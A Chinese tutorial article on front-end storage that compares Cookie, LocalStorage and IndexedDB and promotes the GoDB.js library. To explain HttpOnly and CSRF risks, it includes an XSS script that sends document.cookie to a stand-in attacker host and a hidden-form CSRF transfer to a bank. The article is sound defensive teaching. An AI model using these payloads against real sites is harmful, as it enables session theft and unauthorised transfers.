深入淺出前端本地儲(chǔ)存
(給程序員成長(zhǎng)指北加星標(biāo),提升前端技能)
轉(zhuǎn)自:掘金 - 星塵starx
https://juejin.cn/post/6925311938419408904
引言
2021 年,如果你的前端應(yīng)用,需要在瀏覽器上保存數(shù)據(jù),有三個(gè)主流方案:
Cookie Web Storage (LocalStorage) IndexedDB
這些方案就是如今應(yīng)用最廣、瀏覽器兼容性最高的三種前端儲(chǔ)存方案
今天這篇文章就聊一聊這三種方案的歷史,優(yōu)缺點(diǎn),以及各自在今天的適用場(chǎng)景
文章在后面還會(huì)提出一個(gè)全新的,基于 IndexedDB 的,更適合現(xiàn)代前端應(yīng)用的前端本地儲(chǔ)存方案 GoDB.js
Cookie
Cookie 的歷史
Cookie 早在1994 年就被發(fā)明了出來(lái),它的歷史甚至和互聯(lián)網(wǎng)本身的歷史一樣悠久
和其它兩種本地儲(chǔ)存方案不一樣的是,Cookie 本身并不是為了解決「在瀏覽器上存東西」而被發(fā)明,它的出現(xiàn)是為了解決 HTTP 協(xié)議無(wú)狀態(tài)特性的問(wèn)題
什么是 HTTP 協(xié)議的無(wú)狀態(tài)特性?簡(jiǎn)單來(lái)說(shuō)就是:用戶的兩次 HTTP 請(qǐng)求,服務(wù)端并不能通過(guò)請(qǐng)求本身,知道這兩次請(qǐng)求,來(lái)自于同一個(gè)用戶
比如我們?nèi)缃袼究找?jiàn)慣的登錄功能,在 Cookie 被發(fā)明之前其實(shí)幾乎無(wú)法實(shí)現(xiàn)登錄態(tài)的長(zhǎng)久保持
也就是說(shuō),Cookie 其實(shí)是作為「HTTP 協(xié)議的補(bǔ)充」被發(fā)明出來(lái)的,因此,在英文語(yǔ)境中,大多時(shí)候其實(shí)都用 HTTP cookie 來(lái)指 Cookie
Cookie 最初被其發(fā)明者 Lou Montulli 用在電商網(wǎng)站上,用來(lái)記錄購(gòu)物車?yán)锏纳唐罚@樣當(dāng)用戶想要結(jié)賬時(shí),瀏覽器會(huì)把 Cookie 里的商品數(shù)據(jù)以及用戶信息發(fā)送給服務(wù)器,服務(wù)器就能知道用戶想要購(gòu)買哪些商品
Cookie 在很長(zhǎng)一段時(shí)間內(nèi),都是瀏覽器儲(chǔ)存數(shù)據(jù)的唯一解決方案,直到今天,Cookie 在很多領(lǐng)域仍然有大量的使用
Cookie 的今天
2021 年,雖然 Cookie 在部分領(lǐng)域仍有不可替代的價(jià)值,但其已經(jīng)不再適合被做為一個(gè)前端本地儲(chǔ)存方案去使用:
Cookie 的安全問(wèn)題 Cookie 在每次請(qǐng)求中都會(huì)被發(fā)送,如果不使用 HTTPS 并對(duì)其加密,其保存的信息很容易被竊取,導(dǎo)致安全風(fēng)險(xiǎn) 舉個(gè)例子,在一些使用 Cookie 保持登錄態(tài)的網(wǎng)站上,如果 Cookie 被竊取,他人很容易利用你的 Cookie 來(lái)假扮成你登錄網(wǎng)站 當(dāng)然可以用 Session 配合 Cookie 來(lái)緩解這個(gè)問(wèn)題,但是 Session 會(huì)占用額外的服務(wù)器資源 Cookie 每次請(qǐng)求自動(dòng)發(fā)送的特性還會(huì)導(dǎo)致 CSRF 攻擊的安全風(fēng)險(xiǎn) Cookie 只允許儲(chǔ)存 4kb 的數(shù)據(jù) Cookie 的操作較為繁瑣復(fù)雜(這一點(diǎn)倒是可以通過(guò)使用類庫(kù)來(lái)解決)
有人說(shuō)由于瀏覽器每次請(qǐng)求都會(huì)帶上 Cookie,因此 Cookie 還有個(gè)缺點(diǎn)是會(huì)增加帶寬占用,但其實(shí)放在今天的網(wǎng)絡(luò)環(huán)境來(lái)看,這點(diǎn)占用基本可以忽略不計(jì)
總之,如今已經(jīng)不推薦使用 Cookie 來(lái)在瀏覽器上保存數(shù)據(jù),大部分曾經(jīng)應(yīng)用 Cookie 的場(chǎng)景,在今天都可以用 LocalStorage 實(shí)現(xiàn)更優(yōu)雅更安全的替代
但是,即使 Cookie 已經(jīng)不適合用來(lái)在瀏覽器上儲(chǔ)存數(shù)據(jù),其在某些特定領(lǐng)域,在今天仍然獨(dú)特的價(jià)值
最常見(jiàn)的就是用在廣告中,用來(lái)跨站標(biāo)記用戶與跟蹤用戶行為,這樣在你訪問(wèn)不同頁(yè)面時(shí),廣告商也能知道是同一個(gè)用戶在訪問(wèn),從而實(shí)現(xiàn)后續(xù)的商品推薦等功能
假設(shè) abc.com 和 xyz.com 都內(nèi)嵌了淘寶的廣告,你會(huì)發(fā)現(xiàn)即使 abc.com 和 xyz.com 所有者不一致,兩個(gè)網(wǎng)站上淘寶廣告推薦的商品也出奇的一致,這背后是因?yàn)樘詫氈朗峭粋€(gè)人,分別在 abc.com 和 xyz.com 訪問(wèn)淘寶的廣告
這是如何實(shí)現(xiàn)的呢?答案是第三方 Cookie
第三方 Cookie
之所以有第三方 Cookie 這個(gè)稱呼,是因?yàn)?Cookie 執(zhí)行同源策略,a.com 和 b.com 各自只能訪問(wèn)自己的 Cookie,無(wú)法訪問(wèn)對(duì)方或者任何不屬于自己的 Cookie
如果在訪問(wèn) a.com 時(shí),設(shè)置了一個(gè) b.com 的 Cookie(比如內(nèi)嵌 b.com 的頁(yè)面),那么這個(gè) Cookie 相對(duì)于 a.com 而言就是第三方 Cookie
值得一提的是,是同一個(gè) host 下的不同端口倒是可以互相訪問(wèn) Cookie
這里提一下對(duì)第三方 Cookie 而言非常重要的一個(gè)特性:Cookie 可以被服務(wù)端設(shè)置
服務(wù)器可以通過(guò) response 的請(qǐng)求頭來(lái)要求瀏覽器設(shè)置 Cookie
Set-Cookie: userId=123;
瀏覽器在檢測(cè)到返回請(qǐng)求的 header 里有 Set-Cookie 請(qǐng)求頭后,就會(huì)自動(dòng)設(shè)置 Cookie,不需要開(kāi)發(fā)者用 JS 去做額外的操作
這樣帶來(lái)的好處是,當(dāng) abc.com 和 xyz.com 想在自己的網(wǎng)頁(yè)上內(nèi)嵌淘寶廣告時(shí),只需要把淘寶提供的組件放進(jìn) HTML 即可,不需要寫(xiě)額外的 JS,也能讓淘寶進(jìn)行跨站定位用戶
<img src="taobao.com/some-ads" />
(這個(gè)組件純屬虛構(gòu),僅為方便理解)
它是如何工作的呢?
當(dāng)用戶處于 abc.com時(shí),瀏覽器會(huì)向taobao.com/some-ads發(fā)起一個(gè) HTTP 請(qǐng)求當(dāng)淘寶服務(wù)器返回廣告內(nèi)容時(shí),會(huì)順帶一個(gè) Set-Cookie的 HTTP 請(qǐng)求頭,告訴瀏覽器設(shè)置一個(gè)源為taobao.com的 Cookie,里面存上當(dāng)前用戶的 ID 等信息這個(gè) Cookie 相對(duì)于 abc.com而言就是第三方 Cookie,因?yàn)樗鼘儆?taobao.com而當(dāng)用戶訪問(wèn) xyz.com時(shí),由于xyz.com上也嵌入了淘寶的廣告,因此用戶的瀏覽器也會(huì)向taobao.com/some-ads發(fā)起請(qǐng)求有意思的來(lái)了,發(fā)請(qǐng)求時(shí),瀏覽器發(fā)現(xiàn)本地已有 taobao.com的 Cookie(此前訪問(wèn)abc.com時(shí)設(shè)置的),因此,瀏覽器會(huì)將這個(gè) Cookie 發(fā)送過(guò)去淘寶服務(wù)器根據(jù)發(fā)過(guò)來(lái)的 Cookie,發(fā)現(xiàn)當(dāng)前訪問(wèn) xyz.com的用戶和之前訪問(wèn)abc.com的用戶是同一個(gè),因此會(huì)返回相同的廣告
廣告商用第三方 Cookie 來(lái)跨站定位用戶大概就是這么個(gè)過(guò)程,實(shí)際肯定要復(fù)雜許多,但基本原理是一致的
總之,關(guān)鍵就是利用了 Cookie 的兩個(gè)特點(diǎn)
Cookie 可以被服務(wù)器設(shè)置 瀏覽器每次請(qǐng)求會(huì)自動(dòng)帶上 Cookie
正因?yàn)檫@兩個(gè)特點(diǎn),即使 Cookie 在今天看來(lái)缺點(diǎn)一大堆,但仍然在部分領(lǐng)域有不可替代的價(jià)值
但也是因?yàn)檫@兩個(gè)特點(diǎn),導(dǎo)致 Cookie 的安全性相對(duì)不高,總之 Cookie 的這個(gè)設(shè)計(jì)放在今天來(lái)看,就是一把雙刃劍
Cookie 配置
服務(wù)端要求瀏覽器建立 Cookie 時(shí),可以在請(qǐng)求頭里放一些配置聲明,修改 Cookie 的使用特性
SameSite
在前段時(shí)間,Chrome 更新 80 版本時(shí),將 Cookie 的跨站策略(SameSite)默認(rèn)設(shè)置為了 Lax,即僅允許同站或者子站訪問(wèn) Cookie,而老版本是 None,即允許所有跨站 Cookie
這會(huì)導(dǎo)致用戶訪問(wèn) xyz.com 時(shí),瀏覽器默認(rèn)將不會(huì)發(fā)送 Cookie 給 taobao.com,導(dǎo)致第三方 Cookie 失效的問(wèn)題
要解決的話,在返回請(qǐng)求的 header 里將 SameSite 設(shè)置為 None 即可
Set-Cookie: userId=123; SameSite=None
Secure, HttpOnly
Cookie 還有兩個(gè)常用屬性 Secure 和 HttpOnly
Set-Cookie: userId=123; SameSite=None; Secure; HttpOnly
其中 Secure 是只允許 Cookie 在 HTTPS 請(qǐng)求中被使用
而 HttpOnly 則用來(lái)禁止使用 JS 訪問(wèn) cookie
ducoment.cookie // 訪問(wèn)被禁止了
這樣最大的好處是避免了 XSS 攻擊
XSS 攻擊
比如你在水一個(gè)論壇,這個(gè)論壇有個(gè) bug:不會(huì)對(duì)發(fā)布內(nèi)容中的 HTML 標(biāo)簽進(jìn)行過(guò)濾
某一天,一個(gè)惡意用戶發(fā)了個(gè)帖子,內(nèi)容如下:
<script>window.open("atacker.com?cookie=" + document.cookie</script>
當(dāng)你訪問(wèn)這條帖子的內(nèi)容時(shí),瀏覽器就會(huì)執(zhí)行 <script> 中的代碼,導(dǎo)致你的 Cookie 被發(fā)送給攻擊者,接著攻擊者就可以利用你的 Cookie 登錄論壇,然后為所欲為了
XSS 攻擊在很多情況下,用戶甚至不會(huì)知道自己被攻擊了,比如利用 <img/> 的 src 屬性,就可以做到悄無(wú)聲息的把用戶的信息發(fā)給攻擊者
而當(dāng)設(shè)置了 HttpOnly 后,ducoment.cookie 將獲取不到 Cookie,攻擊者的代碼自然就無(wú)法生效了
Cookie 總結(jié)
總而言之,Cookie 在今天的適用場(chǎng)景其實(shí)比較有限,當(dāng)你需要在本地儲(chǔ)存數(shù)據(jù)時(shí),由于安全性和儲(chǔ)存空間的問(wèn)題,一般不推薦使用 Cookie,大部分情況下使用 Web Storage 是個(gè)更好的選擇
Web Storage
在 2014 年年底發(fā)布的 HTML5 標(biāo)準(zhǔn)中,新增了一個(gè) Web Storage 的本地儲(chǔ)存方案,其包括
LocalStorage SessionStorage
SessionStorage 和 LocalStorage 使用方法基本一致,唯一不同的是,一旦關(guān)閉頁(yè)面,SessionStorage 將會(huì)刪除數(shù)據(jù);因此這里主要以 LocalStorage 為例
LocalStorage 的特點(diǎn)是:
使用 Key-Value 形式儲(chǔ)存 使用很方便 大小有 10MB Key 和 Value 以字符串形式儲(chǔ)存
LocalStorage 的使用非常簡(jiǎn)單,比如要在本地保存 userId:
localStorage.setItem('userId', '123');
console.log(localStorage.getItem('userId')); // 123
只要用 setItem 保存過(guò)一次,哪怕用戶關(guān)閉了頁(yè)面,再次打開(kāi)頁(yè)面時(shí)都可以用 getItem 獲取到想要的數(shù)據(jù)
LocalStorage 一出現(xiàn),就在許多應(yīng)用場(chǎng)景徹底替代了 Cookie,大部分需要在瀏覽器上存數(shù)據(jù)的場(chǎng)景,都會(huì)優(yōu)先使用 LocalStorage
它和 Cookie 的主要區(qū)別是:
儲(chǔ)存空間更大,使用更方便 Cookie 可以被服務(wù)器設(shè)置,而 LocalStorage 只能前端手動(dòng)操作 Cookie 的數(shù)據(jù)會(huì)由瀏覽器自動(dòng)發(fā)給服務(wù)器,LocalStorage 需要手動(dòng)取出來(lái)放到請(qǐng)求里面才會(huì)發(fā)給服務(wù)器,因此可以避免 CSRF 攻擊
CSRF 攻擊
假設(shè)你在瀏覽器中登錄過(guò)某個(gè)銀行 bank.com,這個(gè)銀行系統(tǒng)使用 Cookie 來(lái)保存你的登錄態(tài)
接著你訪問(wèn)了一個(gè)惡意網(wǎng)站,該網(wǎng)站中有一個(gè)表單:
<form action="bank.com/transfer" method="post">
<input type="hidden" name="amount" value="100000.00"/>
<input type="hidden" name="target" value="attacker"/>
<input type="submit" value="屠龍寶刀,點(diǎn)擊就送!"/>
</form>
(假設(shè) bank.com/transfer 是用來(lái)轉(zhuǎn)賬的接口)
當(dāng)你被誘導(dǎo)點(diǎn)下了提交按鈕后:
由于 form 表單提交是可以跨域的,你將會(huì)對(duì)
bank.com/transfer發(fā)起一次 POST 請(qǐng)求由于此前你已經(jīng)登錄過(guò)
bank.com,瀏覽器會(huì)自動(dòng)將你的 Cookie 一并發(fā)送過(guò)去(即使你當(dāng)前并未處于銀行系統(tǒng)的頁(yè)面)bank.com收到你的帶 Cookie 的請(qǐng)求后,認(rèn)為你是正常登錄了的,導(dǎo)致轉(zhuǎn)賬成功進(jìn)行最終你損失了一大筆錢
注意即使用 Cookie 配合 HTTPS 請(qǐng)求,CSRF 攻擊也無(wú)法被避免,因?yàn)?HTTPS 請(qǐng)求只是對(duì)傳輸?shù)臄?shù)據(jù)進(jìn)行了加密,而 CSRF 攻擊的特點(diǎn)是,誘導(dǎo)你去訪問(wèn)某個(gè)需要你的權(quán)限的接口,HTTPS 并不能阻止這種訪問(wèn)
這里的 CSRF 攻擊的核心,就是利用了瀏覽器會(huì)自動(dòng)在所有請(qǐng)求里帶上 Cookie 的特性
因此,LocalStorage 比較常見(jiàn)的一個(gè)替代 Cookie 的場(chǎng)景就是登錄態(tài)的保持,比如用 token 的方法加上 HTTPS 請(qǐng)求,就可以很大程度上提高登錄的安全性,避免被 CSRF 攻擊(但是依然無(wú)法完全避免被 XSS 攻擊的風(fēng)險(xiǎn))
大概工作流程就是,用戶登錄后,從服務(wù)器拿到一個(gè) token,然后存進(jìn) LocalStorage 里,之后每次請(qǐng)求前都從 LocalStorage 里取出 token,放到請(qǐng)求數(shù)據(jù)里,服務(wù)器就能知道是同一個(gè)用戶在發(fā)起請(qǐng)求了;由于 HTTPS 的存在,也不用擔(dān)心 token 會(huì)被泄露給第三方,因此是很安全的
總結(jié)為什么 LocalStorage 在大部分應(yīng)用場(chǎng)景替代了 Cookie:
LocalStorage 更好用,更簡(jiǎn)單,儲(chǔ)存空間更多 LocalStorage 免去了 Cookie 遭受 CSRF 攻擊的風(fēng)險(xiǎn)
LocalStorage 的缺點(diǎn)
但是,LocalStorage 也不是完美的,它有兩個(gè)缺點(diǎn):
無(wú)法像 Cookie 一樣設(shè)置過(guò)期時(shí)間 只能存入字符串,無(wú)法直接存對(duì)象
舉個(gè)例子,假如你想存一個(gè)對(duì)象或者非 string 的類型到 LocalStorage:
localStorage.setItem('key', {name: 'value'});
console.log(localStorage.getItem('key')); // '[object, Object]'
localStorage.setItem('key', 1);
console.log(localStorage.getItem('key')); // '1'
你會(huì)發(fā)現(xiàn),存進(jìn)去的如果是對(duì)象,拿出來(lái)就變成了字符串 '[object, object]',數(shù)據(jù)丟失了!
存進(jìn)去的如果是 number,拿出來(lái)也變成了 string
要解決這個(gè)問(wèn)題,一般是使用 JSON.stringify() 配合 JSON.parse()
localStorage.setItem('key', JSON.stringify({name: 'value'}));
console.log(JSON.parse(localStorage.getItem('key'))); // {name: 'value'}
這樣,就可以實(shí)現(xiàn)對(duì)象和非 string 類型的儲(chǔ)存了
但是,這么做有一個(gè)缺點(diǎn),那就是 JSON.stringify() 本身是存在一些問(wèn)題的
const a = JSON.stringify({
a: undefined,
b: function(){},
c: /abc/,
d: new Date()
});
console.log(a) // "{"c":{},"d":"2021-02-02T19:40:12.346Z"}"
console.log(JSON.parse(a)) // {c: {}, d: "2021-02-02T19:40:12.346Z"}
如上,JSON.stringify() 無(wú)法正確轉(zhuǎn)換 JS 的部分屬性
undefiend Function RegExp(正則表達(dá)式,轉(zhuǎn)換后變成了空對(duì)象) Date(轉(zhuǎn)換后變成了字符串,而非 Date 類的對(duì)象)
其實(shí)還有個(gè) Symbol 也無(wú)法被轉(zhuǎn)換,但由于 Symbol 本身定義(全局唯一性)就決定了,它不應(yīng)該被轉(zhuǎn)換,否則即使轉(zhuǎn)換回來(lái),也不會(huì)是原來(lái)那個(gè) Symbol
Function 也比較特殊,不過(guò)要兼容的話,可以先調(diào)用 .toString() 轉(zhuǎn)換為字符串儲(chǔ)存,需要的時(shí)候再 eval 轉(zhuǎn)回來(lái)
以及,JSON.stringify() 無(wú)法轉(zhuǎn)換循環(huán)引用的對(duì)象
const a = { key: 'value' };
a['a'] = a;
JSON.stringify(a);
// Uncaught TypeError: Converting circular structure to JSON
// --> starting at object with constructor 'Object'
// --- property 'a' closes the circle
// at JSON.stringify (<anonymous>)
大部分應(yīng)用中,JSON.stringify() 的這個(gè)問(wèn)題基本上可以忽略,但是一小部分場(chǎng)景還是會(huì)導(dǎo)致問(wèn)題,比如想保存一個(gè)正則表達(dá)式,一個(gè) Date 對(duì)象,這種方法就會(huì)出問(wèn)題
總結(jié)
在大部分應(yīng)用場(chǎng)景下,LocalStorage 已經(jīng)能完全替代 Cookie,只有類似于廣告這種場(chǎng)景,由于 Cookie 可以被服務(wù)端設(shè)置,Cookie 仍存在不可替代的價(jià)值
但是 LocalStorage 并不完美,它只支持 10MB 儲(chǔ)存,在一些應(yīng)用場(chǎng)景還是不夠用,并且原生只支持字符串,JSON.stringify() 的解決方案又不夠完美,因此很多時(shí)候不太適合大量數(shù)據(jù)和復(fù)雜數(shù)據(jù)的儲(chǔ)存
IndexedDB
IndexedDB 的全稱是 Indexed Database,從名字中就可以看出,它是一個(gè)數(shù)據(jù)庫(kù)
IndexedDB 早在 2009 年就有了第一次提案,但其實(shí)它和 Web Storage 幾乎是同一時(shí)間普及到各大瀏覽器的(沒(méi)錯(cuò),就是 2015 年那會(huì),es6 也是那時(shí)候)
IndexedDB 是一個(gè)正經(jīng)的數(shù)據(jù)庫(kù),它在問(wèn)世后替代了原來(lái)不正經(jīng)的 Web SQL 方案,成為了當(dāng)今唯一運(yùn)行在瀏覽器里的數(shù)據(jù)庫(kù)
在我看來(lái),IndexedDB 其實(shí)更適合當(dāng)作終極前端本地?cái)?shù)據(jù)儲(chǔ)存方案
相比于 LocalStorage,IndexedDB 的優(yōu)點(diǎn)是
儲(chǔ)存量理論上沒(méi)有上限 Chrome 對(duì) IndexedDB 儲(chǔ)存空間限制的定義是:硬盤(pán)可用空間的三分之一 所有操作都是異步的,相比 LocalStorage 同步操作性能更高,尤其是數(shù)據(jù)量較大時(shí) 原生支持儲(chǔ)存 JS 的對(duì)象 是個(gè)正經(jīng)的數(shù)據(jù)庫(kù),意味著數(shù)據(jù)庫(kù)能干的事它都能干
但是缺點(diǎn)也比較致命:
操作非常繁瑣 本身有一定門檻(需要你懂?dāng)?shù)據(jù)庫(kù)的概念)
由于提案較早,IndexedDB 的 API 設(shè)計(jì)其實(shí)是比較糟糕的,對(duì)于新手而言,光是想連上數(shù)據(jù)庫(kù),并往里面加?xùn)|西,都需要折騰半天
對(duì)于簡(jiǎn)單的數(shù)據(jù)儲(chǔ)存而言,IndexedDB 的 API 顯得太復(fù)雜了,再加上其 API 全是異步的,會(huì)帶來(lái)額外的心智負(fù)擔(dān),遠(yuǎn)沒(méi)有 LocalStorage 簡(jiǎn)單兩行代碼搞定數(shù)據(jù)存取來(lái)的快
因此,IndexedDB 在今天的使用規(guī)模相比 LocalStorage 差遠(yuǎn)了,即使 IndexedDB 本身的設(shè)計(jì)其實(shí)更適合用來(lái)在瀏覽器上儲(chǔ)存數(shù)據(jù)
總之,如果不考慮 IndexedDB 的操作難度,其作為一個(gè)前端本地儲(chǔ)存方案其實(shí)是接近完美的
簡(jiǎn)單理解數(shù)據(jù)庫(kù)
在使用 IndexedDB 前,你首先需要懂基本的數(shù)據(jù)庫(kù)概念
這里用 Excel 類比,簡(jiǎn)單介紹數(shù)據(jù)庫(kù)的基本概念,不做太深入的討論
需要了解四個(gè)基本概念,以關(guān)系型數(shù)據(jù)庫(kù)為例
數(shù)據(jù)庫(kù) Database 數(shù)據(jù)表 Table(IndexedDB 中叫 ObjectStore) 字段 Field 事務(wù) Transaction
(雖然 IndexedDB 算不上關(guān)系型數(shù)據(jù)庫(kù),但概念都是相通的)
假設(shè)清華和北大各自需要建一個(gè)數(shù)據(jù)庫(kù),用來(lái)存各自學(xué)生與教工的信息,假設(shè)命名為
清華: thu北大: pku
這樣,清北之間的數(shù)據(jù)就可以相互獨(dú)立
然后,我們?cè)俚綌?shù)據(jù)庫(kù)里建表
student表,儲(chǔ)存學(xué)生信息stuff表,儲(chǔ)存教工信息
數(shù)據(jù)表(Table)是什么?說(shuō)白了,就是一個(gè)類似于 Excel 表一樣的東西
比如 student 表,可以長(zhǎng)這樣:

上面的 學(xué)號(hào)、姓名、年齡、專業(yè) 就是數(shù)據(jù)表的字段
當(dāng)我們想往 student 表添加數(shù)據(jù)時(shí),就需要按照規(guī)定的格式,往表里加數(shù)據(jù)(關(guān)系型數(shù)據(jù)庫(kù)的特點(diǎn),而 IndexedDB 允許不遵守格式)
數(shù)據(jù)庫(kù)也給我們提供了方法,當(dāng)我們知道一個(gè)學(xué)生的學(xué)號(hào)(id),就可以在非常短的時(shí)間內(nèi),在表里成千上萬(wàn)個(gè)學(xué)生中,快速找到這個(gè)學(xué)生,并返回他的完整信息
也可以根據(jù) id 定位,對(duì)該學(xué)生的數(shù)據(jù)進(jìn)行修改,或者刪除
id 這種每條數(shù)據(jù)唯一的值,就可以被用來(lái)做主鍵(primary key),主鍵在表內(nèi)獨(dú)一無(wú)二,無(wú)法添加相同主鍵的數(shù)據(jù)
而主鍵一般會(huì)被建立索引,所謂對(duì)字段建立索引,就是可以根據(jù)這個(gè)字段的值,在表里非??焖俚恼业綄?duì)應(yīng)的數(shù)據(jù)(通常不高于 O(logN)),如果沒(méi)有索引,那可能就需要遍歷整個(gè)表(O(N))
增、刪、改、查這些操作,都需要通過(guò)事務(wù) Transaction 來(lái)完成
如果事務(wù)中任何一個(gè)操作沒(méi)有成功,整個(gè)事務(wù)都會(huì)回滾 在事務(wù)完成之前,操作不會(huì)影響數(shù)據(jù)庫(kù) 不同事務(wù)之間不能互相影響
舉個(gè)例子,當(dāng)你發(fā)起一個(gè)事務(wù),想利用這個(gè)事務(wù)添加兩個(gè)學(xué)生,如果第一個(gè)學(xué)生添加成功,但是第二個(gè)學(xué)生添加失敗,事務(wù)就會(huì)回滾,第一個(gè)學(xué)生將根本不會(huì)在數(shù)據(jù)庫(kù)中出現(xiàn)過(guò)
事務(wù)在銀行轉(zhuǎn)賬這種場(chǎng)景非常有用:如果轉(zhuǎn)賬中任何一步失敗了,整個(gè)轉(zhuǎn)賬操作就和沒(méi)發(fā)生過(guò)一樣,不會(huì)造成任何影響
在同一個(gè) Excel 文件(數(shù)據(jù)庫(kù))中,我們除了 student 表,還可以有 stuff 表(同一個(gè)數(shù)據(jù)庫(kù)中有了兩個(gè)不同的數(shù)據(jù)表):

然后,清華和北大各自分一個(gè) Excel 文件,就相當(dāng)于分了兩個(gè)數(shù)據(jù)庫(kù)

總而言之,不扯數(shù)據(jù)庫(kù)各種難理解的概念,我們其實(shí)完全可以用 Excel 來(lái)類比數(shù)據(jù)庫(kù)
一個(gè) Excel 文件就是一個(gè) Database 一個(gè) Excel(Database)里可以有很多不同表格(數(shù)據(jù)表 Table) 表格的列的名稱其實(shí)就是字段
上述類比最接近 MySQL 這種關(guān)系型數(shù)據(jù)庫(kù),但放在其它一些比較特殊的數(shù)據(jù)庫(kù)上可能就不太妥當(dāng)(比如圖數(shù)據(jù)庫(kù))
如果你是新手,用 Excel 類比理解數(shù)據(jù)庫(kù)完全沒(méi)問(wèn)題,足以使用 IndexedDB 了
雖然說(shuō) IndexedDB 使用 key-value 的模式儲(chǔ)存數(shù)據(jù),但你也完全可以用數(shù)據(jù)表 Table 的模式來(lái)看待它
IndexedDB 的使用
使用 IndexedDB 的第一步是打開(kāi)數(shù)據(jù)庫(kù):
const request = window.indexedDB.open('pku');
上面這個(gè)操作打開(kāi)了名為 pku 的數(shù)據(jù)庫(kù),如果不存在,瀏覽器會(huì)自動(dòng)創(chuàng)建
然后 request 上有三個(gè)事件:
var db; // 全局 IndexedDB 數(shù)據(jù)庫(kù)實(shí)例
request.onupgradeneeded = function (event) {
db = event.target.result;
console.log('version change');
};
request.onsuccess = function (event) {
db = request.result;
console.log('db connected')l;
};
request.onblocked = function (event) {
console.log('db request blocked!')
}
request.onerror = function (event) {
console.log('error!');
};
IndexedDB 有一個(gè)版本(version)的概念,連接數(shù)據(jù)庫(kù)時(shí)就可以指定版本
const version = 1;
const request = window.indexedDB.open('pku', version);
版本主要用來(lái)控制數(shù)據(jù)庫(kù)的結(jié)構(gòu),當(dāng)數(shù)據(jù)庫(kù)結(jié)構(gòu)(表結(jié)構(gòu))發(fā)生變化時(shí),版本也會(huì)變化
如上,request 上有四個(gè)事件:
onupgradeneeded在版本改變時(shí)觸發(fā)注意首次連接數(shù)據(jù)庫(kù)時(shí),版本從 0 變成 1,因此也會(huì)觸發(fā),且先于 onsuccessonsuccess在連接成功后觸發(fā)onerror在連接失敗時(shí)觸發(fā)onblocked在連接被阻止的時(shí)候觸發(fā),比如打開(kāi)版本低于當(dāng)前存在的版本
注意這四個(gè)事件都是異步的,意味著在連接 IndexedDB 的請(qǐng)求發(fā)出去后,需要過(guò)一段時(shí)間才能連上數(shù)據(jù)庫(kù),并進(jìn)行操作
開(kāi)發(fā)者對(duì)數(shù)據(jù)庫(kù)的所有操作,都得放在異步連上數(shù)據(jù)庫(kù)之后,這有的時(shí)候會(huì)帶來(lái)很大的不便
而開(kāi)發(fā)者如果想創(chuàng)建數(shù)據(jù)表(在 IndexedDB 里面叫做 ObjectStore),只能將其放到 onupgradeneeded 事件中(官方的定義是需要一個(gè) IDBVersionChange 的事件)
request.onupgradeneeded = function (event) {
db = event.target.result;
if (!db.objectStoreNames.contains('student')) {
db.createObjectStore('student', {
keyPath: 'id', // 主鍵
autoIncrement: true // 自增
});
}
}
上面這段代碼,在數(shù)據(jù)庫(kù)初始化時(shí),創(chuàng)建了一個(gè) student 的表,并且以 id 為自增主鍵(每加一條數(shù)據(jù),主鍵會(huì)自動(dòng)增長(zhǎng),無(wú)需開(kāi)發(fā)者指定)
在這一切做好以后,終于,我們可以連接數(shù)據(jù)庫(kù),然后添加數(shù)據(jù)了
const adding = db.transaction('student', 'readwrite') // 創(chuàng)建事務(wù)
.objectStore('student') // 指定 student 表
.add({ name: 'luke', age: 22 });
adding.onsuccess = function (event) {
console.log('write success');
};
adding.onerror = function (event) {
console.log('write failed');
}
用同樣的方法再加一條數(shù)據(jù)
db.transaction('student', 'readwrite')
.objectStore('student')
.add({ name: 'elaine', age: 23 });
然后,打開(kāi)瀏覽器的開(kāi)發(fā)者工具,我們就能看到添加的數(shù)據(jù):
這里可以看到 IndexedDB 的 key-value 儲(chǔ)存特性,key 就是主鍵(這里指定主鍵為 id),value 就是剩下的字段和對(duì)應(yīng)的數(shù)據(jù)
這個(gè) key-value 結(jié)構(gòu)對(duì)應(yīng)的 Table 結(jié)構(gòu)如下:

如果要獲取數(shù)據(jù),需要一個(gè) readonly 的 Transaction
const request = db.transaction('student', 'readonly')
.objectStore(this.name)
.get(2); // 獲取 id 為 2 的數(shù)據(jù)
request.onsuccess = function (event) {
console.log(event.target.result) // { id: 2, name: 'elaine', age: 23 }
}
綜上,哪怕只是想簡(jiǎn)單的往 IndexedDB 里增加和查詢數(shù)據(jù),都需要寫(xiě)一大堆代碼,操作非常繁瑣,一不小心還容易掉坑里
那么,有沒(méi)有什么辦法,能更優(yōu)雅的使用 IndexedDB,在代碼量減少的情況下,還能更好的發(fā)揮其實(shí)力呢?
GoDB.js
GoDB.js 是一個(gè)基于 IndexedDB 實(shí)現(xiàn)前端本地儲(chǔ)存的類庫(kù)
幫你做到代碼更簡(jiǎn)潔的同時(shí),更好的發(fā)揮 IndexedDB 的實(shí)力

首先安裝:
npm install godb
對(duì) IndexedDB 的增刪改查,一行代碼就可以搞定!
import GoDB from 'godb';
const testDB = new GoDB('testDB'); // 連接數(shù)據(jù)庫(kù)
const user = testDB.table('user'); // 獲取數(shù)據(jù)表
const data = { name: 'luke', age: 22 }; // 隨便定義一個(gè)對(duì)象
user.add(data) // 增
.then(luke => user.get(luke.id)) // 查
.then(luke => user.put({ ...luke, age: 23 })) // 改
.then(luke => user.delete(luke.id)); // 刪
或者,一次性添加許多數(shù)據(jù),然后看看效果:
const arr = [
{ name: 'luke', age: 22 },
{ name: 'elaine', age: 23 }
];
user.addMany(arr)
.then(() => user.consoleTable());
上面這段代碼,會(huì)在添加數(shù)據(jù)后,在控制臺(tái)中展示出 user 表的內(nèi)容:

回到之前 LocalStorage 出問(wèn)題的那個(gè)例子,用 GoDB 就可以實(shí)現(xiàn)正常儲(chǔ)存:
import GoDB from 'godb';
const testDB = new GoDB('testDB'); // 連接數(shù)據(jù)庫(kù)
const store = testDB.table('store'); // 獲取數(shù)據(jù)表
const obj = {
a: undefined,
b: /abc/,
c: new Date()
};
store.add(obj)
.then(item => store.get(item.id)) // 獲取存進(jìn)去的實(shí)例
.then(res => console.log(res));
// {
// id: 1,
// a: undefined,
// b: /abc/,
// c: new Date()
// }
并且,循環(huán)引用的對(duì)象也能使用 GoDB 進(jìn)行儲(chǔ)存
const a = { key: 'value' };
a['a'] = a;
store.add(a)
.then(item => store.get(item.id)) // 獲取存進(jìn)去的實(shí)例
.then(result => console.log(result));
// 打印出來(lái)的對(duì)象比 a 多了個(gè) id,其它完全一致
關(guān)于 GoDB 更詳細(xì)的用法,可以參考 GoDB 的項(xiàng)目官網(wǎng)(不斷完善中):
https://godb-js.github.io/
總之,GoDB 可以
